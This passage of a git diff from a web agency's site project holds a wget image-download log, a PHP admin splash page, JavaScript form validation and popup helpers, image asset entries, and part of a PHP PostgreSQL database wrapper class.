+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 29,438 [image/jpeg]
+
+    0K .......... .......... ........                        100%   14.04 MB/s
+
+14:30:58 (14.04 MB/s) - `./original/wheel_launched.jpg' saved [29438/29438]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/islandhouse.jpg
+           => `./original/islandhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,039 [image/jpeg]
+
+    0K ...                                                   100%    3.85 MB/s
+
+14:30:58 (3.85 MB/s) - `./original/islandhouse.jpg' saved [4039/4039]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/spectrus.jpg
+           => `./original/spectrus.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 50,953 [image/jpeg]
+
+    0K .......... .......... .......... .......... ......... 100%   12.15 MB/s
+
+14:30:58 (12.15 MB/s) - `./original/spectrus.jpg' saved [50953/50953]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/vm_launched.jpg
+           => `./original/vm_launched.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 57,799 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 88%    3.49 MB/s
+   50K ......                                                100%    6.29 MB/s
+
+14:30:58 (3.67 MB/s) - `./original/vm_launched.jpg' saved [57799/57799]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/csrye.jpg
+           => `./original/csrye.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 3,977 [image/jpeg]
+
+    0K ...                                                   100%    3.79 MB/s
+
+14:30:58 (3.79 MB/s) - `./original/csrye.jpg' saved [3977/3977]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/spoon.GIF
+           => `./original/spoon.GIF'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 306,950 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 16%    2.87 MB/s
+   50K .......... .......... .......... .......... .......... 33%    6.10 MB/s
+  100K .......... .......... .......... .......... .......... 50%    5.43 MB/s
+  150K .......... .......... .......... .......... .......... 66%    5.43 MB/s
+  200K .......... .......... .......... .......... .......... 83%    6.98 MB/s
+  250K .......... .......... .......... .......... ......... 100%   12.15 MB/s
+
+14:30:58 (5.42 MB/s) - `./original/spoon.GIF' saved [306950/306950]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/cedarbrook.gif
+           => `./original/cedarbrook.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 15,500 [image/gif]
+
+    0K .......... .....                                      100%    2.96 MB/s
+
+14:30:58 (2.96 MB/s) - `./original/cedarbrook.gif' saved [15500/15500]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/Cutlers.GIF
+           => `./original/Cutlers.GIF'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 306,950 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 16%    3.26 MB/s
+   50K .......... .......... .......... .......... .......... 33%    2.87 MB/s
+  100K .......... .......... .......... .......... .......... 50%    6.10 MB/s
+  150K .......... .......... .......... .......... .......... 66%    4.44 MB/s
+  200K .......... .......... .......... .......... .......... 83%    2.57 MB/s
+  250K .......... .......... .......... .......... ......... 100%    5.40 MB/s
+
+14:30:58 (3.71 MB/s) - `./original/Cutlers.GIF' saved [306950/306950]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/1134156524ThunderxBay.JPG
+           => `./original/1134156524ThunderxBay.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 53,157 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 96%    4.07 MB/s
+   50K .                                                     100%    1.87 MB/s
+
+14:30:58 (4.22 MB/s) - `./original/1134156524ThunderxBay.JPG' saved [53157/53157]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/MTF.JPG
+           => `./original/MTF.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 50,228 [image/jpeg]
+
+    0K .......... .......... .......... .......... ......... 100%    6.84 MB/s
+
+14:30:58 (6.84 MB/s) - `./original/MTF.JPG' saved [50228/50228]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/GreatxLakesxPlumbingxxxHeating1143151597555.png
+           => `./original/GreatxLakesxPlumbingxxxHeating1143151597555.png'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 398,925 [image/png]
+
+    0K .......... .......... .......... .......... .......... 12%    3.49 MB/s
+   50K .......... .......... .......... .......... .......... 25%    2.12 MB/s
+  100K .......... .......... .......... .......... .......... 38%   12.21 MB/s
+  150K .......... .......... .......... .......... .......... 51%    4.44 MB/s
+  200K .......... .......... .......... .......... .......... 64%    4.07 MB/s
+  250K .......... .......... .......... .......... .......... 77%    4.88 MB/s
+  300K .......... .......... .......... .......... .......... 89%    5.43 MB/s
+  350K .......... .......... .......... .........            100%   12.88 MB/s
+
+14:30:58 (4.42 MB/s) - `./original/GreatxLakesxPlumbingxxxHeating1143151597555.png' saved [398925/398925]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/inglesonlawss.jpg
+           => `./original/inglesonlawss.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 27,683 [image/jpeg]
+
+    0K .......... .......... .......                         100%   13.20 MB/s
+
+14:30:58 (13.20 MB/s) - `./original/inglesonlawss.jpg' saved [27683/27683]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/staffords.jpg.png
+           => `./original/staffords.jpg.png'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 321,897 [image/png]
+
+    0K .......... .......... .......... .......... .......... 15%    6.10 MB/s
+   50K .......... .......... .......... .......... .......... 31%    3.76 MB/s
+  100K .......... .......... .......... .......... .......... 47%    3.76 MB/s
+  150K .......... .......... .......... .......... .......... 63%    8.14 MB/s
+  200K .......... .......... .......... .......... .......... 79%    4.07 MB/s
+  250K .......... .......... .......... .......... .......... 95%    6.98 MB/s
+  300K .......... ....                                       100%   14.02 MB/s
+
+14:30:58 (5.12 MB/s) - `./original/staffords.jpg.png' saved [321897/321897]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/WhoxxsxInxCharge.png
+           => `./original/WhoxxsxInxCharge.png'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 227,493 [image/png]
+
+    0K .......... .......... .......... .......... .......... 22%    8.14 MB/s
+   50K .......... .......... .......... .......... .......... 45%    4.88 MB/s
+  100K .......... .......... .......... .......... .......... 67%   12.21 MB/s
+  150K .......... .......... .......... .......... .......... 90%    4.88 MB/s
+  200K .......... .......... ..                              100%   10.82 MB/s
+
+14:30:58 (6.78 MB/s) - `./original/WhoxxsxInxCharge.png' saved [227493/227493]
+
+--14:30:58--  http://www.gaslightmedia.com/images/original/temprelss.jpg
+           => `./original/temprelss.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 29,321 [image/jpeg]
+
+    0K .......... .......... ........                        100%   13.98 MB/s
+
+14:30:58 (13.98 MB/s) - `./original/temprelss.jpg' saved [29321/29321]
+
diff --git a/admin/splash.phtml b/admin/splash.phtml
new file mode 100644 (file)
index 0000000..a0d0884
--- /dev/null
@@ -0,0 +1,21 @@
+<?
+include("../setup.phtml");
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<link type="text/css" rel=stylesheet href="<?echo URL_BASE."admin/main.css"?>">
+<title>Welcome to GLM Toolbox</TITLE>
+</head>
+<body>
+
+<div style="text-align: center;">
+<p><strong>Welcome To The <?=SITENAME?> Administration Area</strong></p>
+<p>Please Choose The Area You Wish To Update.</p>
+<img src="<?=URL_BASE."assets/logo.gif"?>">
+</div>
+
+</body>
+</html>
+
diff --git a/admin/template1.gif b/admin/template1.gif
new file mode 100644 (file)
index 0000000..327d943
Binary files /dev/null and b/admin/template1.gif differ
diff --git a/admin/template2.gif b/admin/template2.gif
new file mode 100644 (file)
index 0000000..edf3d8b
Binary files /dev/null and b/admin/template2.gif differ
diff --git a/admin/template3.gif b/admin/template3.gif
new file mode 100644 (file)
index 0000000..16e2107
Binary files /dev/null and b/admin/template3.gif differ
diff --git a/admin/template4.gif b/admin/template4.gif
new file mode 100644 (file)
index 0000000..32174dd
Binary files /dev/null and b/admin/template4.gif differ
diff --git a/admin/template5.gif b/admin/template5.gif
new file mode 100644 (file)
index 0000000..6c36b50
Binary files /dev/null and b/admin/template5.gif differ
diff --git a/admin/template6.gif b/admin/template6.gif
new file mode 100644 (file)
index 0000000..28d140e
Binary files /dev/null and b/admin/template6.gif differ
diff --git a/admin/verify.js b/admin/verify.js
new file mode 100644 (file)
index 0000000..54ebd72
--- /dev/null
@@ -0,0 +1,107 @@
+function isblank(s) {
+       for(var i = 0; i < s.length; i++) {
+               var c = s.charAt(i);
+               if((c != ' ') && (c != '\n') && (c != '\t'))
+                       return(false);
+       }
+       return(true);
+}
+
+function verify(f) {
+       var msg;
+       var empty_fields = "";
+       var errors = "";
+
+       for(var i = 0; i < f.length; i++) {
+               var e = f.elements[i];
+               if(((e.type == "text") || (e.type == "password") ||(e.type == "textarea")) && !e.optional) {
+                       if((e.value == null) || (e.value == "") || isblank(e.value)) {
+                               empty_fields += "\n             " + e.r;
+                               continue;
+                       }
+
+                       if(e.d) {
+                               if(isNaN(Date.parse(e.value)))
+                                       errors += "- The field " +e.r+" must be formated like 01/17/2001\n";
+                       }
+                       if(e.numeric || (e.min != null) || (e.max != null)) {
+                               if(e.i) {
+                                       var v = parseInt(e.value);
+                                       if(v != e.value) {
+                                               errors += "- The field " +e.r + " must be a ";
+                                               errors += "number with no decimal\n";
+                                               continue;
+                                       }
+                               }
+                               else
+                                       var v = parseFloat(e.value);
+                               if(isNaN(v) ||
+                                       ((e.min != null) && (v < e.min)) ||
+                                       ((e.max != null) && (v > e.max))) {
+
+                                       errors += "- The field " + e.r + " must be a number";
+                                       if(e.min != null)
+                                               errors += " that is greater than " + e.min;
+                                       if(e.max != null && e.min != null)
+                                               errors += " and less than " + e.max;
+                                       else if (e.max != null)
+                                               errors += " that is less than " + e.max;
+                                       errors += ".\n";
+                               }
+                       }
+               }
+               if (e.options && !e.optional)
+               {
+                       if((e.value == null) || (e.value == "") || isblank(e.value)) 
+                       {
+                               empty_fields += "\n             " + e.r;
+                               continue;
+                       }
+               }
+       }
+
+       if(!empty_fields && !errors)
+               return(true);
+
+       msg = "_____________________________________________________\n\n";
+       msg +="The form was not submitted because of the following error(s).\n";
+       msg +="Please correct these error(s) and re-submit.\n";
+       msg +="_____________________________________________________\n\n";
+
+       if(empty_fields) {
+               msg += "- The following required field(s) are empty:"
+                               + empty_fields + "\n";
+               if(errors)
+                       msg += "\n";
+       }
+       msg += errors;
+       alert(msg);
+       return(false);
+}
+var chkDot = true;
+var usEmail = true;
+function validEmail(eAddr) 
+{ 
+   var lenSuffix = (usEmail) ? 4: 3;
+   var goodAddr = false;
+   var ndxAt = ndxDot = 0;
+   ndxAt  = eAddr.indexOf("@");
+   ndxDot = eAddr.indexOf(".");
+   ndxDot2 = eAddr.lastIndexOf(".");
+
+   if ( (ndxDot < 0) || (ndxAt < 0) )
+      return(goodAddr);//alert("Your email address lacks '.' or '@'.\n\nThe format is 'you@dom.suf'");  
+   else if (chkDot  && (ndxDot < ndxAt) )
+        chkDot =!( confirm("You entered a 'dot' before the '@'\n Are you sure that is right?"));
+   else if ( (ndxDot2 - 3) <= ndxAt)
+        return(goodAddr);//alert("You may be missing your domain name.\n\nThe format is 'you@dom.suf'");
+   else if ( eAddr.length < (ndxDot2 + lenSuffix) )
+      usEmail =!( confirm("You have fewer than 3 characters as a domain suffix.\nAre you sure that is right?"));
+   else
+      goodAddr = true;
+
+
+   return (goodAddr);                       
+} 
+
+
diff --git a/admin/wm.js b/admin/wm.js
new file mode 100644 (file)
index 0000000..7a7323e
--- /dev/null
@@ -0,0 +1,13 @@
+function glm_open(o) {
+       var x = (screen.width/2) - (o.width/2);
+       var y = (screen.height/2) - (o.height/2);
+       var args = "width="+o.width+",height="+o.height+",screenX="+x+",screenY="+y+",top="+y+",left="+x;
+       if(o.scroll == true)
+               args += ",scrollbars=1";
+       //args += "\'";
+       //alert(args);
+       pow=window.open(o.url,o.name,args);
+       //confirm(args);
+       if (pow.opener == null)
+               pow.opener = self;
+}
diff --git a/assets/background.gif b/assets/background.gif
new file mode 100755 (executable)
index 0000000..c44d77d
Binary files /dev/null and b/assets/background.gif differ
diff --git a/assets/bullet.gif b/assets/bullet.gif
new file mode 100755 (executable)
index 0000000..ad2aa66
Binary files /dev/null and b/assets/bullet.gif differ
diff --git a/assets/columnIbg.gif b/assets/columnIbg.gif
new file mode 100755 (executable)
index 0000000..141986d
Binary files /dev/null and b/assets/columnIbg.gif differ
diff --git a/assets/featured/featured1.jpg b/assets/featured/featured1.jpg
new file mode 100755 (executable)
index 0000000..be51cdb
Binary files /dev/null and b/assets/featured/featured1.jpg differ
diff --git a/assets/featured/featured2.jpg b/assets/featured/featured2.jpg
new file mode 100755 (executable)
index 0000000..2b02e44
Binary files /dev/null and b/assets/featured/featured2.jpg differ
diff --git a/assets/featured/featured3.jpg b/assets/featured/featured3.jpg
new file mode 100755 (executable)
index 0000000..40e56a9
Binary files /dev/null and b/assets/featured/featured3.jpg differ
diff --git a/assets/featured/featured4.jpg b/assets/featured/featured4.jpg
new file mode 100755 (executable)
index 0000000..403ca3a
Binary files /dev/null and b/assets/featured/featured4.jpg differ
diff --git a/assets/featured/featured5.jpg b/assets/featured/featured5.jpg
new file mode 100755 (executable)
index 0000000..311109a
Binary files /dev/null and b/assets/featured/featured5.jpg differ
diff --git a/assets/featured/featured6.jpg b/assets/featured/featured6.jpg
new file mode 100755 (executable)
index 0000000..9e397ba
Binary files /dev/null and b/assets/featured/featured6.jpg differ
diff --git a/assets/featured/featured7.gif b/assets/featured/featured7.gif
new file mode 100755 (executable)
index 0000000..c89ca4a
Binary files /dev/null and b/assets/featured/featured7.gif differ
diff --git a/assets/featuredBg.gif b/assets/featuredBg.gif
new file mode 100755 (executable)
index 0000000..5127498
Binary files /dev/null and b/assets/featuredBg.gif differ
diff --git a/assets/headerBg.gif b/assets/headerBg.gif
new file mode 100755 (executable)
index 0000000..8f0283e
Binary files /dev/null and b/assets/headerBg.gif differ
diff --git a/assets/homeFeature.jpg b/assets/homeFeature.jpg
new file mode 100755 (executable)
index 0000000..9da067c
Binary files /dev/null and b/assets/homeFeature.jpg differ
diff --git a/assets/homeFeature.png b/assets/homeFeature.png
new file mode 100644 (file)
index 0000000..ff1570b
Binary files /dev/null and b/assets/homeFeature.png differ
diff --git a/assets/imagecaptionBg.gif b/assets/imagecaptionBg.gif
new file mode 100755 (executable)
index 0000000..351a864
Binary files /dev/null and b/assets/imagecaptionBg.gif differ
diff --git a/assets/logo.gif b/assets/logo.gif
new file mode 100755 (executable)
index 0000000..9961cb2
Binary files /dev/null and b/assets/logo.gif differ
diff --git a/assets/logosince.gif b/assets/logosince.gif
new file mode 120000 (symlink)
index 0000000..94a1201
--- /dev/null
@@ -0,0 +1 @@
+logo.gif
\ No newline at end of file
diff --git a/assets/makingNews.gif b/assets/makingNews.gif
new file mode 100755 (executable)
index 0000000..3ecf2f4
Binary files /dev/null and b/assets/makingNews.gif differ
diff --git a/assets/marketBoxes.png b/assets/marketBoxes.png
new file mode 100755 (executable)
index 0000000..4fbf5f8
Binary files /dev/null and b/assets/marketBoxes.png differ
diff --git a/assets/marketsServedBg.gif b/assets/marketsServedBg.gif
new file mode 100755 (executable)
index 0000000..0747f59
Binary files /dev/null and b/assets/marketsServedBg.gif differ
diff --git a/assets/navBg.gif b/assets/navBg.gif
new file mode 100755 (executable)
index 0000000..83c00e2
Binary files /dev/null and b/assets/navBg.gif differ
diff --git a/assets/newsletter/bg-connectivity.jpg b/assets/newsletter/bg-connectivity.jpg
new file mode 100644 (file)
index 0000000..c66e34d
Binary files /dev/null and b/assets/newsletter/bg-connectivity.jpg differ
diff --git a/assets/newsletter/bg-general.jpg b/assets/newsletter/bg-general.jpg
new file mode 100644 (file)
index 0000000..7086e84
Binary files /dev/null and b/assets/newsletter/bg-general.jpg differ
diff --git a/assets/newsletter/bottom.gif b/assets/newsletter/bottom.gif
new file mode 100644 (file)
index 0000000..71203d6
Binary files /dev/null and b/assets/newsletter/bottom.gif differ
diff --git a/assets/pinitbutton.jpg b/assets/pinitbutton.jpg
new file mode 100755 (executable)
index 0000000..096f7c5
Binary files /dev/null and b/assets/pinitbutton.jpg differ
diff --git a/assets/poweredby.gif b/assets/poweredby.gif
new file mode 100644 (file)
index 0000000..08efcc0
Binary files /dev/null and b/assets/poweredby.gif differ
diff --git a/assets/socialBg.gif b/assets/socialBg.gif
new file mode 100644 (file)
index 0000000..f6d306a
Binary files /dev/null and b/assets/socialBg.gif differ
diff --git a/assets/subnavBg.gif b/assets/subnavBg.gif
new file mode 100755 (executable)
index 0000000..07b4cf7
Binary files /dev/null and b/assets/subnavBg.gif differ
diff --git a/assets/subnavBg2.gif b/assets/subnavBg2.gif
new file mode 100755 (executable)
index 0000000..8a1b9c7
Binary files /dev/null and b/assets/subnavBg2.gif differ
diff --git a/assets/subsubBg.gif b/assets/subsubBg.gif
new file mode 100755 (executable)
index 0000000..1795dc5
Binary files /dev/null and b/assets/subsubBg.gif differ
diff --git a/assets/testimonialsBg.gif b/assets/testimonialsBg.gif
new file mode 100755 (executable)
index 0000000..37602a5
Binary files /dev/null and b/assets/testimonialsBg.gif differ
diff --git a/assets/testimonialsBox.gif b/assets/testimonialsBox.gif
new file mode 100755 (executable)
index 0000000..06bf504
Binary files /dev/null and b/assets/testimonialsBox.gif differ
diff --git a/assets/testimonialsQuote.gif b/assets/testimonialsQuote.gif
new file mode 100755 (executable)
index 0000000..99ae48e
Binary files /dev/null and b/assets/testimonialsQuote.gif differ
diff --git a/assets/tmpToolboxImg.gif b/assets/tmpToolboxImg.gif
new file mode 100755 (executable)
index 0000000..5bb25a0
Binary files /dev/null and b/assets/tmpToolboxImg.gif differ
diff --git a/assets/wrapperInsideBg.gif b/assets/wrapperInsideBg.gif
new file mode 100755 (executable)
index 0000000..9eb672a
Binary files /dev/null and b/assets/wrapperInsideBg.gif differ
diff --git a/cameras/images/Camera_3.jpg b/cameras/images/Camera_3.jpg
new file mode 100644 (file)
index 0000000..82cf736
Binary files /dev/null and b/cameras/images/Camera_3.jpg differ
diff --git a/cameras/images/Camera_3_big.jpg b/cameras/images/Camera_3_big.jpg
new file mode 100644 (file)
index 0000000..53f8494
Binary files /dev/null and b/cameras/images/Camera_3_big.jpg differ
diff --git a/cameras/images/Camera_4.jpg b/cameras/images/Camera_4.jpg
new file mode 100644 (file)
index 0000000..9be87dd
Binary files /dev/null and b/cameras/images/Camera_4.jpg differ
diff --git a/cameras/images/Camera_4_big.jpg b/cameras/images/Camera_4_big.jpg
new file mode 100644 (file)
index 0000000..013aab3
Binary files /dev/null and b/cameras/images/Camera_4_big.jpg differ
diff --git a/cameras/images/Little_Traverse_Bay.jpg b/cameras/images/Little_Traverse_Bay.jpg
new file mode 100644 (file)
index 0000000..63d281f
Binary files /dev/null and b/cameras/images/Little_Traverse_Bay.jpg differ
diff --git a/cameras/images/Little_Traverse_Bay_big.jpg b/cameras/images/Little_Traverse_Bay_big.jpg
new file mode 100644 (file)
index 0000000..a7b8f69
Binary files /dev/null and b/cameras/images/Little_Traverse_Bay_big.jpg differ
diff --git a/cameras/images/Memorial_Gardens.jpg b/cameras/images/Memorial_Gardens.jpg
new file mode 100644 (file)
index 0000000..562670e
Binary files /dev/null and b/cameras/images/Memorial_Gardens.jpg differ
diff --git a/cameras/images/Memorial_Gardens_big.jpg b/cameras/images/Memorial_Gardens_big.jpg
new file mode 100644 (file)
index 0000000..312740b
Binary files /dev/null and b/cameras/images/Memorial_Gardens_big.jpg differ
diff --git a/cameras/images/Petoskey_Park.jpg b/cameras/images/Petoskey_Park.jpg
new file mode 100644 (file)
index 0000000..cef6cf6
Binary files /dev/null and b/cameras/images/Petoskey_Park.jpg differ
diff --git a/cameras/images/Petoskey_Park_big.jpg b/cameras/images/Petoskey_Park_big.jpg
new file mode 100644 (file)
index 0000000..92720f2
Binary files /dev/null and b/cameras/images/Petoskey_Park_big.jpg differ
diff --git a/classes/class_db.inc b/classes/class_db.inc
new file mode 100755 (executable)
index 0000000..525cc73
--- /dev/null
@@ -0,0 +1,755 @@
+<?php
+
+/**
+ * class_db.inc
+ * 
+ * Class build for providing postgres function to facilitate
+ * database abstraction.
+ * We're moving on to using PHP Data Objects (PDO) now
+ * 
+ * PHP version 5
+ * 
+ * @category  Classes
+ * @package   GLM_DB
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: class_db.inc,v 1.2 2009/12/15 20:18:16 jamie Exp $
+ * @link      <>
+ */
+
+/**
+ * Short description for class
+ * 
+ * Long description (if any) ...
+ * 
+ * @category  Classes
+ * @package   GLM_DB
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   Release: @package_version@
+ * @link      <>
+ */
+class GLM_DB
+{
+    // {{{ Properties
+
+    /**
+     * host 
+     * string host database host server name
+     * 
+     * @var    mixed 
+     * @access public
+     */
+    protected $host;
+    /**
+     * dbname 
+     * string dbname name of the database 
+     * 
+     * @var    mixed 
+     * @access public
+     */
+    protected $dbname;
+    /**
+     * user 
+     * string user The user to connect as
+     * 
+     * @var    mixed 
+     * @access public
+     */
+    protected $user;
+    /**
+     * password 
+     * string password The users password if any 
+     * 
+     * @var    mixed 
+     * @access public
+     */
+    protected $password;
+    /**
+     * dbd 
+     * string dbd Database connection result ID#
+     * 
+     * @var    mixed 
+     * @access public
+     */
+    protected $dbd;
+    /**
+     * conn 
+     * string conn string postgres connection string default = CONN_STR
+     * 
+     * @var    mixed 
+     * @access public
+     */
+    protected $conn;
+    /**
+     * trans 
+     * boolean trans bool if true a transaction is in process 
+     * 
+     * @var    mixed 
+     * @access public
+     */
+    protected $trans;
+    /**
+     * Result 
+     * 
+     * @var    mixed 
+     * @access public
+     */
+    protected $Result;
+
+    /**
+     * Description for public
+     * @var    unknown
+     * @access public 
+     */
+    public $dbh;
+    // }}}
+    // {{{ GLM_DB()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $conn Parameter description (if any) ...
+     * 
+     * @return void   
+     * @access public 
+     */
+    function GLM_DB($conn = CONN_STR)
+    {
+        $this->dbh      = Toolkit_Database::getInstance();
+        $this->host     = "";
+        $this->dbname   = "";
+        $this->user     = "nobody";
+        $this->password = "";    
+        $this->conn     = $conn;
+        $this->trans    = 0;    
+        $this->dbd      = "";
+    }
+
+    // }}}
+    // {{{ db_auto_array()
+
+    /** db_auto_get_array
+    *
+    *  The auto function for retrieving an array based soley on a query
+    *  string. This function makes the connection, does the exec, fetches
+    *  the array, closes the connection, frees memory used by the result,
+    *  and then returns the array
+    *
+    * {@source } 
+    * @param  $qs    SQL           query       string
+    * @param  $i     row           number
+    * @param  $type  PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+    *
+    * @returns array - Returns an associative array of key-value pairs
+    * @access  public
+    */
+
+    function db_auto_array($qs, $i, $type)
+    {
+        if (!$this->dbd) {
+            $this->dbd =& $this->db_connect();
+        }
+        $res = $this->db_exec($qs);
+        if (!$res) {
+            return 0;
+        }
+        if ($this->db_numrows($res) == 0) {
+            return 0;
+        }
+
+        $row = $this->db_fetch_array($res, $i, $type);
+
+        if(!$this->db_freeresult($res)) {
+            return 0;
+        }
+
+        return $row;
+    }
+
+    // }}}
+    // {{{ db_auto_exec()
+
+    /** db_auto_exec
+    *
+    *  The auto function for executing a query.
+    *  This function makes the connection, does the exec, fetches
+    *  the array, closes the connection, frees memory used by the result,
+    *  and then returns success (not a valid result index)
+    *
+    * {@source }
+    * @param   $qs    SQL query string
+    * @returns int - Returns 1 for success 0 for failure
+    * @access  public
+    */
+
+    function db_auto_exec($qs)
+    {
+        $this->db_connect();
+        if (!$this->dbd) {
+            return 0;
+        }
+        if (!$this->db_exec( $qs)) {
+            return 0;
+        } else {
+            return 1;
+        }
+    }
+
+    // }}}
+    // {{{ db_auto_get_data()
+
+    /** db_auto_get_data
+    *
+    *  <p>The auto function for retrieving an array based soley on a query
+    *  string. This function makes the connection, does the exec, fetches
+    *  the array, closes the connection, frees memory used by the result,
+    *  and then returns the array.</p>
+    *
+    * {@source } 
+    * @param string $qs    SQL query string
+    *
+    * @returns mixed
+    * @access  public
+    */
+    function db_auto_get_data($qs)
+    {
+        if ($this->dbh) {
+            return $this->dbh->query($qs)->fetchAll(PDO::FETCH_ASSOC);
+        }
+        if (!$this->dbd) {
+            $this->db_connect();
+        }
+        if (!( $res = $this->db_exec( $qs))) {
+            return false;
+        }
+        $totalrows = pg_NumRows( $res);
+        for ($i = 0 ; $i < $totalrows ; $i++) {
+            $data[$i] = $this->db_fetch_array ($res, $i, PGSQL_ASSOC);
+        }
+        if (isset( $data) && $data != "")    {
+            return $data;
+        } else {
+            return 0;
+        }
+    }
+
+    // }}}
+    // {{{ db_close()
+
+    /** db_close 
+      *
+      * Closes the connection to database specified by the handle dbd    
+      * returns a boolean for success                     
+      *
+      * {@source } 
+      * @returns bool - Returns 1 on success 0 if dbd is not a valid connection    
+    * @access  public
+     */
+
+    function db_close()
+    {
+        switch (DB_TYPE) {
+            case "postgres":
+                pg_close($this->dbd);
+            break;
+            default:
+            return false;
+        }
+    }
+
+    // }}}
+    // {{{ db_connect()
+
+   /** 
+    * db_connect
+    *
+    * Creates a connection to database specified $conn_str, 
+    * and returns a boolean for success.            
+    *
+    * @uses    GLM_DB::$dbd
+    * @uses    GLM_DB::$conn
+    * @uses    GLM_DB::$dbname
+    * @uses    GLM_DB::$host
+    * @uses    GLM_DB::$user
+    * @uses    GLM_DB::$password
+    *          {@source } 
+    * @returns int
+    * @access  public
+    */
+
+    function db_connect()
+    {
+        if (isset( $this->dbd) && $this->dbd != "") {
+            return $this->dbd;    
+        }
+        switch (DB_TYPE) {
+        case "postgres":
+            if ($this->host == '' && $this->dbname == '') {
+                $conn = $this->conn;// CONN_STR;
+            } else {    
+                $conn .= ($this->host != '') ? 'host='.$this->host.' ' : '';
+                $conn .= ($this->dbname != '') ? 'dbname='.$this->dbname.' ' : '';
+                $conn .= ($this->user != '') ? 'user='.$this->user." " : '';
+                $conn .= ($this->password != '') ? "password=".$this->password : '';
+            }
+            if (!$this->dbd = pg_connect($conn)) {
+                echo pg_errormessage($conn);
+            }
+            break;
+
+        default:
+            return 0;
+            break;
+        }
+        return $this->dbd;        
+    }
+
+    // }}}
+    // {{{ db_exec()
+
+    /** db_exec
+    *
+    *  Execute an SQL query, * returning a valid result index or zero(0) on    
+    *  failure.                                
+    *
+    * {@source } 
+    * @param   $qs    -- SQL query string                
+    * @returns int Returns a valid result index on success 0 on failure    
+    * @access  public
+    */
+    function db_exec($qs)
+    {
+        if (!$this->dbd) {
+            $this->dbd = $this->db_connect();    
+        }
+        switch (DB_TYPE) {
+            case "postgres":
+                if(!$ret = pg_exec($this->dbd, $qs)) {
+                    echo "<font color=red>".$qs."</font>";
+                }
+            break;
+            default:
+            return false;
+        }
+        return $ret;
+    }
+
+    // }}}
+    // {{{ db_fetch_array()
+
+    /** db_fetch_array
+    *
+    *  Stores the data in associative indices, using the field names as    
+    *  keys.                                 
+    *
+    * {@source } 
+    * @param   $res   -- valid database result index            
+    * @param   $i     -- row number                    
+    * @param   $type  -- PGSQL_ASSOC,PGSQL_BOTH,PGSQL_NUM                    
+    * @returns array Returns an associative array of key-value pairs        
+    * @access  public
+    */
+
+    function db_fetch_array($res, $i, $type)
+    {
+        switch (DB_TYPE) {
+        case "postgres":
+            $row = pg_fetch_array($res, $i, $type);
+            break;
+
+        default:
+            return false;
+        }
+        return $row;
+    }
+
+    // }}}
+    // {{{ db_freeresult()
+
+    /** db_freeresult
+    *
+    *  Free result memory.                            
+    *
+    * {@source } 
+    * @param   $res   -- valid database result index            
+    * @returns bool - Returns 1 for success 0 for failure            
+    * @access  public
+    */
+
+    function db_freeresult($res)
+    {
+        switch (DB_TYPE) {
+        case "postgres":
+            $ret = pg_freeresult($res);
+            break;
+
+        default:
